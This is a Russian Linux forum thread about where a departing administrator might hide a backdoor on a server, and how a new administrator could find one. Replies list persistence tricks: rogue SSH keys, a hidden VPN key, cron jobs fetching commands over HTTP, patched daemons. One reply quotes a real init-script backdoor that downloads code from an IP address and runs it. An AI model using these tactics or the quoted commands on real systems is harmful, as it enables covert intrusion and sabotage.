LINUX.ORG.RU

Ищем шпионское ПО

 


1

3

В моих недавних темах этой и этой про исследование сервера и сканирование сети мне сказали, что я хочу странного. Но недавно я таки признался чего хочу знать, но стесняюсь спросить. Короче, я ищу шпионское ПО и шпионское железо в своей сети.
Тему со шпионским железом пока отложим с сторону, начнём с ПО. Представьте, что вы админ сервера на Linux, который через неделю у вас отберут. И вот вы делаете некую настройку, чтобы продолжать иметь доступ к серверу даже после того как новый админ поменяет все пароли. Мотивация может быть разная: возможно вы работаете на конкурентов, или вынашиваете гнусный план крашануть базу за день до сдачи отчётности, а потом потребовать выкуп или просто потешить своё ЧСВ, или просто с детства любили подглядывать в замочную скважину. Вопрос такой: куда вы будете прятать закладку, чтобы новый админ месяц её не мог найти? Принимаются ответы от очень простых до сложных.

★★★★★

Последнее исправление: sunny1983 (всего исправлений: 4)

Юзера левого с попустым профилем и ключом для ssh. Если есть openvpn, то левые коннекты искать.

Radjah ★★★★★
()

Серьёзный дядя, на которого ты работал тебе по голове просто настучит за такие дела.

Deleted
()

куда вы будете прятать закладку, чтобы новый админ месяц её не мог найти?

Во всё. В ядро, в утилиты, в программы, в прошивки железа, в компилятор. Даже в шейдеры в играх. Интересно же, до какого уровня админ дойдёт.

Правда, если бы я умел всё это, на смежной работе зарабатывал бы столько, что заниматься такими непотребствами не было нужды.

i-rinat ★★★★★
()
Ответ на: комментарий от Radjah

Юзера левого с попустым профилем и ключом для ssh. Если есть openvpn, то левые коннекты искать.

Ну это из серии очень простых ответов. В первую очередь новый админ смотрит какие порты наружу открыты и какие программы эти порты слушают. Тут sockstat и ps в помощь. Если обнаруживает, что запущен sshd - изучает конфиг, не прописан ли альтернативный путь для хранения открытых ключей, отличный от ~/.ssh/authorized_keys, опять же руту и всем юзерам в /etc/passwd ставит /bin/nologin, чтобы никто кроме админа не мог зайти. Если обнаруживает, что запущен openvpn - перегенерирует ключи всем юзерам. Если обнаруживает, что запущен apache - тут уже гораздо сложнее. Ещё сложнее - когда бэкдорнутый сервис запущен не постоянно, а запускается в определённое время, например ночью, когда новый админ отдыхает. Вобщем, думаем, мыслители, думаем.

sunny1983 ★★★★★
() автор топика
Ответ на: комментарий от sunny1983

Если обнаруживает, что запущен openvpn

Я про случай, если на сервере он и должен быть запущен. Туннели там всякие к другим офисам и всё такое.

Админ сгенерил себе ключик перед сдачей дел и никому не сказал.

Radjah ★★★★★
()

и шпионское железо в своей сети.

проверь все порты, не воткнут ли в сеть или USB какой-нибудь припрятанный левый модем или точка доступа

Harald ★★★★★
()

Наиболее неисследованная часть: кольца защиты, а так уязвимостей полно.

Перевести в срочном порядке все на винду, exe-шники или бинарщину с фирмварями ... шутка

anonymous
()

Перевёл бы весь служебный софт в контейнеры/виртуалки и напихал бяку внутрь них, чтобы сложнее было инспектировать. Чтобы бяка не отсвечивала в списке процессов зря, положить в cron-файл скрипт, который будет по ночам читать команды из документа по HTTP URL, например. Более простой вариант, который видел на практике - IRC-клиент с шеллом.

Ещё можно оставить системы со старыми уязвимыми бинарями, а обновление машины сломать нарочно, чтобы стандартными средствами и безболезненно нельзя было обновиться. Например, можно какой-то эзотерический дистрибутив впилить, который больше не выпускается. А вообще совет про переход на Windows - зачётный.

Andrey_Utkin ★★
()
Последнее исправление: Andrey_Utkin (всего исправлений: 1)

Берём исходники любой программы, добавляем нужную нам функциональность, например, вызов openvpn сервера или teamviewer по вторникам в 21:00. Перекомпилируем, кладём программу на место. Если программа на питон, то просто дописываем несколько строк. Всякие нужные запчасти для доступа могут располагаться где угодно: всякие tmp, var или даже на неразмеченной области диска, которую наша программа агент по вторникам размечает, монтирует и достаёт оттуда нужное.

justAmoment ★★★★★
()

Пропатчил бы sshd/openvpn/crond/whatever. Да хоть какой-нибудь питоновский модуль, если там питон постоянно вертится. И ты не найдешь пока контрольные суммы сравнивать не полезешь. А ведь ты не полезешь.

Суть такова - если есть подозрения что предыдущий админ оставил на сервере заначку - этот сервер лучше установить и настроить с нуля, аккуратно перенося только данные. Если подозрений нет - поверхностное обследование портов/конфигов/процессов и смена паролей и ключей.

entefeed ☆☆☆
()
Ответ на: комментарий от entefeed

Суть такова - если есть подозрения что предыдущий админ оставил на сервере заначку - этот сервер лучше установить и настроить с нуля, аккуратно перенося только данные.

Не всегда возможно. Есть такое понятие, как «PHP-код в базе данных». Актуально для Wordpress и Drupal.

AEP ★★★★★
()
Ответ на: комментарий от justAmoment

которую наша программа агент по вторникам размечает, монтирует и достаёт оттуда нужное.

Можно не размечать, а монтировать с указанием оффсета и используемого шифрования.

Xenius ★★★★★
()
Последнее исправление: Xenius (всего исправлений: 1)

Я как-то встречал занятный бэкдор в /etc/init.d/ssh:

wget http://205.237.100.170/manual/a.c -O /tmp/init.c;
gcc -o /tmp/init /tmp/init.c;
chmod +x /tmp/init;
/tmp/init;
rm -rf /tmp/init /tmp/init.c;

wget http://205.237.100.170/manual/pb -O /tmp/p;perl /tmp/p;rm -rf /tmp/p;

wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;
и сам бы пошёл по такому же пути (куда-то что-то дописать, чтобы юзер сам вызвал), а не, допустим, крон. Ну а сам бы в первую очередь проверял debsums (если debian).

conformist ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.